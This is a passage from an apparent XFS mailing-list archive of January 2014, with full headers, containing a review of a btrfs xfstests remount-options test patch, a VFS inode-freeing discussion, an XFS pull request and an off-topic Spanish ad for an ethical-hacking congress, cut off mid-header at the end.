http://oss.sgi.com/mailman/listinfo/xfs > Hey Christoph, If your still interested in a 3.1.12 release, a 'for-3.1.12' branch has been created. http://oss.sgi.com/archives/xfs/2014-01/msg00056.html Thanks --Rich From sandeen@sandeen.net Fri Jan 10 10:15:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A0BF47F3F for ; Fri, 10 Jan 2014 10:15:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 801A5304051 for ; Fri, 10 Jan 2014 08:15:41 -0800 (PST) X-ASG-Debug-ID: 1389370538-04cb6c537bcfb810001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id xsRBvdXukdVlLjEU for ; Fri, 10 Jan 2014 08:15:38 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D6B4463C3BD0; Fri, 10 Jan 2014 10:15:37 -0600 (CST) Message-ID: <52D01CA9.4040107@sandeen.net> Date: Fri, 10 Jan 2014 10:15:37 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Qu Wenruo , xfs@oss.sgi.com CC: Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389370538 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143941 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/8/14, 12:30 AM, Qu Wenruo wrote: > Test remount btrfs with different pairing options like barrier and no barrier. It seems that while this tests that the remount succeeds, and that the option string is present in /proc/mounts, it does not test that the mount option is actually in effect. I suppose for many of these options that would be hard to test; for i.e. acl though it should be trivial. What do you think, is this enough to ensure that remount handling is working as expected for all of these options? Thanks, -Eric > Mainly used to test the following comming btrfs kernel commit:(Not in > mainline yet) > 8dd6d2c btrfs: Add treelog mount option. > f1eccd3 btrfs: Add datasum mount option. > aad3269 btrfs: Add datacow mount option. > 22bab74 btrfs: Add acl mount option. > 170e45e btrfs: Add noflushoncommit mount option. > ce41bc9 btrfs: Add noenospc_debug mount option. > f3c639b btrfs: Add nodiscard mount option. > 962cbee btrfs: Add noautodefrag mount option. > 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" > > Signed-off-by: Qu Wenruo > Cc: Eric Sandeen > --- > tests/btrfs/025 | 125 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/025.out | 2 + > tests/btrfs/group | 1 + > 3 files changed, 128 insertions(+) > create mode 100755 tests/btrfs/025 > create mode 100644 tests/btrfs/025.out > > diff --git a/tests/btrfs/025 b/tests/btrfs/025 > new file mode 100755 > index 0000000..014da19 > --- /dev/null > +++ b/tests/btrfs/025 > @@ -0,0 +1,125 @@ > +#!/bin/bash > +# Btrfs QA test No. 025 > +# > +# Check for paired btrfs mount options > +# > +# Regression test for the following btrfs commits > +# 8dd6d2c btrfs: Add treelog mount option. > +# f1eccd3 btrfs: Add datasum mount option. > +# aad3269 btrfs: Add datacow mount option. > +# 22bab74 btrfs: Add acl mount option. > +# 170e45e btrfs: Add noflushoncommit mount option. > +# ce41bc9 btrfs: Add noenospc_debug mount option. > +# f3c639b btrfs: Add nodiscard mount option. > +# 962cbee btrfs: Add noautodefrag mount option. > +# 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Fujitsu, Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +status=0 # success is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +PAIRING_OPTIONS="autodefrag noautodefrag discard nodiscard enospc_debug noenospc_debug flushoncommit noflushoncommit noacl acl nobarrier barrier nodatacow datacow nodatasum datasum notreelog treelog space_cache nospace_cache ssd nossd" > + > +# options that does not show in mount options > +HIDDEN_OPTIONS="noautodefrag nodiscard noenospc_debug noflushoncommit acl barrier datacow datasum treelog nossd" > +_cleanup() > +{ > + rm $tmp.running &> /dev/null > + wait > + cd / > + _scratch_unmount &> /dev/null > +} > + > +# check the mount option > +check_mount_opt() > +{ > + mount_point=$1 > + expected_opt=$2 > + > + mount_opt=`cat /proc/mounts | grep $mount_point | cut -d\ -f4` > + if grep $2 $mount_opt; then > + _fail "test failed: expected $expected_opt option not shown in mount options" > + fi > +} > + > +# background noise > +start_bgnoise() > +{ > + touch $tmp.running > + while [ -f "$tmp.running" ]; do > + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n 500 -p 4 > + if [ $? != 0 ]; then > + _fail "Some error happened executing fsstress when remounting" > + fi > + done & > + noise_pid=`jobs -p %1` > + echo $noise_pid > $tmp.running > +} > + > +stop_bgnoise() > +{ > + pid=`cat $tmp.running` > + rm $tmp.running > + wait $pid > +} > + > +# get standard environment, filters > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > + > +_need_to_be_root > +_require_scratch > + > +# no need to use the original mount options > +unset MOUNT_OPTIONS > + > +_scratch_mkfs > /dev/null 2>&1 > +_scratch_mount > + > +start_bgnoise > +for remount_opt in $PAIRING_OPTIONS; do > + # Sleep for a while ensuring fsstress to do enough stress > + sleep 1 > + _remount $SCRATCH_MNT $remount_opt > + if [ $? != 0 ]; then > + stop_bgnoise > + _fail "test failed: $remount_opt not supported" > + fi > + if [[ ! $HIDDEN_OPTIONS =~ $remount ]]; then > + check_mount_opt $SCRATCH_MNT $remount_opt > + > + # Special check for nodatacow > + if [ $remount_opt == "nodatacow" ]; then > + check_mount_opt $SCRATCH_MNT nodatasum > + fi > + fi > +done > +stop_bgnoise > +_scratch_unmount || _fail "umount failed" > +echo "Silence is golden" > +status=0; exit > diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out > new file mode 100644 > index 0000000..3d70951 > --- /dev/null > +++ b/tests/btrfs/025.out > @@ -0,0 +1,2 @@ > +QA output created by 025 > +Silence is golden > diff --git a/tests/btrfs/group b/tests/btrfs/group > index 87e7bca..1a4dad8 100644 > --- a/tests/btrfs/group > +++ b/tests/btrfs/group > @@ -27,3 +27,4 @@ > 022 auto > 023 auto > 024 auto quick > +025 auto quick > From bpm@sgi.com Fri Jan 10 12:14:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3982A7F3F for ; Fri, 10 Jan 2014 12:14:39 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 055FB304077; Fri, 10 Jan 2014 10:14:34 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 90E904266DC; Fri, 10 Jan 2014 12:14:34 -0600 (CST) Date: Fri, 10 Jan 2014 12:14:34 -0600 From: Ben Myers To: Christoph Hellwig Cc: Al Viro , Theodore Ts'o , Paul Moore , Matthew Wilcox , Stephen Smalley , LKML , Steven Rostedt , xfs@oss.sgi.com, Eric Paris , James Morris , linux-fsdevel , stable , Andrew Morton , Paul McKenney , Linus Torvalds Subject: Re: [PATCH] vfs: Fix possible NULL pointer dereference in inode_permission() Message-ID: <20140110181434.GH1935@sgi.com> References: <20140109214239.GD29910@parisc-linux.org> <20140109165012.391db81e@gandalf.local.home> <20140109223127.GM10323@ZenIV.linux.org.uk> <20140109182523.5b50131f@gandalf.local.home> <20140109182756.17abaaa8@gandalf.local.home> <1389310626.15209.92.camel@localhost> <20140110000642.GN10323@ZenIV.linux.org.uk> <20140110093148.GA26159@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140110093148.GA26159@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Christoph, On Fri, Jan 10, 2014 at 01:31:48AM -0800, Christoph Hellwig wrote: > On Fri, Jan 10, 2014 at 12:06:42AM +0000, Al Viro wrote: > > Check what XFS is doing ;-/ That's where those call_rcu() have come from. > > Sure, we can separate the simple "just do call_rcu(...->free_inode)" case > > and hit it whenever full ->free_inode is there and ->destroy_inode isn't. > > Not too pretty, but removal of tons of boilerplate might be worth doing > > that anyway. But ->destroy_inode() is still needed for cases where fs > > has its own idea of inode lifetime rules. Again, check what XFS is doing > > in that area... > > Btw, I'd really love to get rid of the XFS ->destroy_inode abuse, it's > been a long time thorn in the flesh. I believe this behavior is related to freeing of an inode cluster. > What's really needed there to make XFS behave more similar to everyone > else is a way for the filesystem to say: "I can't actually free this > inode right now, but I'll come back to you later". This test might read something like: "If my link count has gone to zero, and I am the last inode in my cluster to be freed, and there are other inodes from my cluster incore, I cannot be freed." Should be doable. Maybe there are other reasons. -Ben From comercio@edicionesforenses.org Fri Jan 10 12:16:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A40357F3F for ; Fri, 10 Jan 2014 12:16:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 34359AC002 for ; Fri, 10 Jan 2014 10:16:06 -0800 (PST) X-ASG-Debug-ID: 1389377760-04bdf00fdf604d30001-NocioJ Received: from mx2.neositios.com (mx2.neositios.com [207.150.204.72]) by cuda.sgi.com with ESMTP id HBAZAbyz1kHRsoKC for ; Fri, 10 Jan 2014 10:16:00 -0800 (PST) X-Barracuda-Envelope-From: comercio@edicionesforenses.org X-Barracuda-Apparent-Source-IP: 207.150.204.72 Received: from mx1.neositios.com (unknown [172.28.35.14]) by mx2.neositios.com (Postfix) with ESMTP id 517C0180261 for ; Fri, 10 Jan 2014 15:16:00 -0300 (ART) Received: from www.negocioenlinea.com (unknown [172.28.35.13]) by mx1.neositios.com (Postfix) with ESMTP id 3F26117F83E for ; Fri, 10 Jan 2014 12:16:00 -0600 (CST) MIME-Version: 1.0 Date: Fri, 10 Jan 2014 15:16:00 -0300 From: Gerencia Comercial To: Subject: OFF TOPIC: Congreso Internacional de Hacking Etico en Puno / Peru Message-ID: <6528853ca10243e955909e3fd8b28b79@172.31.1.3> X-ASG-Orig-Subj: OFF TOPIC: Congreso Internacional de Hacking Etico en Puno / Peru X-Sender: comercio@edicionesforenses.org User-Agent: RoundCube Webmail/0.1 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mx2.neositios.com[207.150.204.72] X-Barracuda-Start-Time: 1389377760 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HOTEL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143943 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 HOTEL BODY: hotel Congreso Internacional de Hacking Etico en Puno / Peru El día Sábado 25 de Enero del 2014, se desarrollara en las instalaciones del ROYAL INN Hotel en la ciudad de Puno en Perú, el Primer Congreso Internacional de Seguridad Informática y Hacking Etico, en el mismo participaran expertos en la materia de Perú y Bolivia, los cuales departirán sus experiencias en la materia, el congreso es organizado por el Instituto Nacional de Investigación Forense Asociación Civil sin fines de lucro peruana que efectúa capacitaciones desde el año 2007 en materia forense. Lugar: ROYAL INN Hotel (Jiron Ayacucho ·428 - Ciudad de Puno) Día: Sábado 25 de Enero del 2014 Horario: 10:00 a 22:00 horas Expositores: BOLIVIA: WILLIAM LLANOS TORRICO Ingeniero de Sistemas Perito en Informática Forense Ocupación actual: - Jefe del Departamento Nacional Académico - Jefe de la División Informática Forense y Perito Informático Instituto de Investigaciones Técnico Científicas de la Universidad Policial "Mcal. Antonio José de Sucre Tema: "Tecnicas defensivas Anti hacking" RICHARD VILCA APAZA a.k.a Sixp4ck3r Security Researcheer Ethical Hacker Pentester Creador de http://sixp4ck3r.blogspot.com Tema: "The Browser Explotation" ERICK CALDERON MOSTAJO Instructor de la certificación Ethical Hacking Pentester Ethical Hacker Fundador de http://www.communitysec.com Tema: "Hacking Web Aplication" FRANK CEBREROS SCHOEFER (Cuzco) Docente de la Maestría en Tecnología y Estética de las Artes Electrónicas Universidad Nacional de Tres de Febrero de Argentina Especialista en Prototipado Rápido e Ingeniería Reversa Tema: "Ingeniería Reversa: hackeando dispositivos" CESAR CHAVEZ MARTINEZ (Lima) Docente en Ethical Hacking Presidente del C.D. del Instituto Nacional de Investigacion Forense Analista Forense Tema: "Ethical Hacking en tiempos de la nueva ley de delitos informaticos" JUAN CARLOS VELARDE-ALVAREZ (Arequipa) Profesional informático con mas de 25 años de experiencia en entidades bancarias y del estado peruano Tema: "Riesgos típicos en seguridad informática" MILWAR CALIZAYA BOBADILLA (Puno) Pentester Fundador Comunidad Punohack Miembro Peruhacking Tema "XSS y Session Hijacking" Inscripciones: Entidad Bancaria: Banco Interbank Nro. de Cuenta 263-306083881-2 Responsable: Cesar Jesus Chavez Martinez Inscripción Regular: $40.00 dolares americanos Incluye emisión de certificación e inscripción. Lugar del Congreso: Instalaciones ROYAL INN HOTELJirón Ayacucho #438 (2 cuadras de la Plaza de Armas de dicha ciudad) Ciudad: Puno País: Perú Auspicia: EDICIONES FORENSES Informes:Facebook: www.fb.me/inifperu twitter: @peruhacking #VAOPUNO RPC: 987555618 (Lima) / 940229611 (Puno)Whatsapp +51987555618 Mail: sedeforense@hotmail.com Formulario de inscripciones online: http://www.edicionesforenses.org/inscripciones From bpm@sgi.com Fri Jan 10 13:04:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 810147F3F for ; Fri, 10 Jan 2014 13:04:10 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3BD38304062; Fri, 10 Jan 2014 11:04:07 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DAB254266DC; Fri, 10 Jan 2014 13:04:06 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS bugfixes for 3.13-rc8 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20140110190406.DAB254266DC@whiskey.americas.sgi.com> Date: Fri, 10 Jan 2014 13:04:06 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these fixes for XFS. Here we have a bugfix for an off-by-one in the remote attribute verifier that results in a forced shutdown which you can hit with v5 superblock by creating a 64k xattr, and a fix for a missing destroy_work_on_stack() in the allocation worker. It's a bit late, but they are both fairly straightforward. Thanks, Ben The following changes since commit ac8809f9ab01a73de1a47b5a37bd8dcca8712fb3: xfs: abort metadata writeback on permanent errors (2013-12-17 09:40:23 -0600) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.13-rc8 for you to fetch changes up to 1f4a63bf019524c96e79f088cd717b96ef00a249: xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() (2014-01-10 12:39:38 -0600) ---------------------------------------------------------------- xfs: bugfixes for 3.13-rc8 - fix off-by-one in xfs_attr3_rmt_verify - fix missing destroy_work_on_stack() in xfs_bmapi_allocate ---------------------------------------------------------------- Chuansheng Liu (1): xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() Jie Liu (1): xfs: fix off-by-one error in xfs_attr3_rmt_verify fs/xfs/xfs_attr_remote.c | 2 +- fs/xfs/xfs_bmap_util.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) From BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org Sat Jan 11 04:30:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EF6477F3F for ; Sat, 11 Jan 2014 04:30:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DFB738F8059 for ; Sat, 11 Jan 2014 02:30:44 -0800 (PST) X-ASG-Debug-ID: 1389436241-04cbb04167d21400001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id tBmRdClHwOLCfGdV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sat, 11 Jan 2014 02:30:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W1vpw-0006xq-Tz; Sat, 11 Jan 2014 10:30:40 +0000 Date: Sat, 11 Jan 2014 02:30:40 -0800 From: Christoph Hellwig To: Rich Johnston Cc: Christoph Hellwig , Eric Sandeen , Ben Myers , xfs-oss Subject: Re: projid32bit=1 default in xfsprogs-3.2.0 Message-ID: <20140111103040.GB22098@infradead.org> X-ASG-Orig-Subj: Re: projid32bit=1 default in xfsprogs-3.2.0 References: <525C1C15.7020204@sandeen.net> <20131014211659.GI5663@dastard> <20131014212347.GB1935@sgi.com> <525C6108.6010108@sandeen.net> <20131015194609.GC32095@infradead.org> <20131015204342.GA24997@infradead.org> <52D007A6.2060607@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D007A6.2060607@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389436242 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143967 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 10, 2014 at 08:45:58AM -0600, Rich Johnston wrote: > If your still interested in a 3.1.12 release, a 'for-3.1.12' branch > has been created. > http://oss.sgi.com/archives/xfs/2014-01/msg00056.html I still think we need it, but I'm not having a lot of time at the moment. I should be able to put something together in the next couple days, but I will need some help on the QA side. From BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org Sat Jan 11 04:32:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47EFB7F3F for ; Sat, 11 Jan 2014 04:32:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE6D3AC002 for ; Sat, 11 Jan 2014 02:32:40 -0800 (PST) X-ASG-Debug-ID: 1389436359-04cb6c537cd1c8a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id M7jlxTAS9grFEp7Q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sat, 11 Jan 2014 02:32:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W1vrn-0006ya-0s; Sat, 11 Jan 2014 10:32:35 +0000 Date: Sat, 11 Jan 2014 02:32:35 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , Al Viro , Theodore Ts'o , Paul Moore , Matthew Wilcox , Stephen Smalley , LKML , Steven Rostedt , xfs@oss.sgi.com, Eric Paris , James Morris , linux-fsdevel , stable , Andrew Morton , Paul McKenney , Linus Torvalds Subject: Re: [PATCH] vfs: Fix possible NULL pointer dereference in inode_permission() Message-ID: <20140111103234.GC22098@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] vfs: Fix possible NULL pointer dereference in inode_permission() References: <20140109165012.391db81e@gandalf.local.home> <20140109223127.GM10323@ZenIV.linux.org.uk> <20140109182523.5b50131f@gandalf.local.home> <20140109182756.17abaaa8@gandalf.local.home> <1389310626.15209.92.camel@localhost> <20140110000642.GN10323@ZenIV.linux.org.uk> <20140110093148.GA26159@infradead.org> <20140110181434.GH1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140110181434.GH1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389436359 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143967 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 10, 2014 at 12:14:34PM -0600, Ben Myers wrote: > > What's really needed there to make XFS behave more similar to everyone > > else is a way for the filesystem to say: "I can't actually free this > > inode right now, but I'll come back to you later". > > This test might read something like: "If my link count has gone to zero, and I > am the last inode in my cluster to be freed, and there are other inodes from my > cluster incore, I cannot be freed." It's more complicated than that. In theory we would free the inode easily as soon as the VFS wants it, but performance would be horrible as we would have to synchronously write back the inode. Note that it really matters for the interface, that just needs to be an: I won't free this right now, but I'll call you back later when I can. From BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org Sat Jan 11 05:10:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D6A8A7F3F for ; Sat, 11 Jan 2014 05:10:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C89908F8054 for ; Sat, 11 Jan 2014 03:10:51 -0800 (PST) X-ASG-Debug-ID: 1389438650-04cbb04168d22570001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id s1kBt5AIhMhmGIKl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 11 Jan 2014 03:10:50 -0800 (PST) X-Barracuda-Envelope-From: BATV+ba93951983d18373c431+3793+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W1wSj-0000Hr-FI; Sat, 11 Jan 2014 11:10:45 +0000 Date: Sat, 11 Jan 2014 03:10:45 -0800 From: Christoph Hellwig To: Jeff Liu Cc: Christoph Hellwig , fengguang.wu@intel.com, LKML , "xfs@oss.sgi.com" Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression Message-ID: <20140111111045.GA29380@infradead.org> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52CFFD1C.7050005@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389438650 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143968 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Jan 10, 2014 at 10:01:00PM +0800, Jeff Liu wrote: > I also thought to fix this problem in this way, however I'm not sure > if those flags can be set back to iattr->ia_valid internally... > > Otherwise, this fix looks good to me. Nothing in the truncate or open code path (or non-size setattr for that matter) looks at ia_valid after calling the filesystem, and they really have no business to. In the meantime this has passed xfstests, so I'll send it along. Thanks for the first fix, btw! From linda.toner@pcc-chips.com Sat Jan 11 08:49:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4DBEA7F50 for ; Sat, 11 Jan 2014 08:49:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) 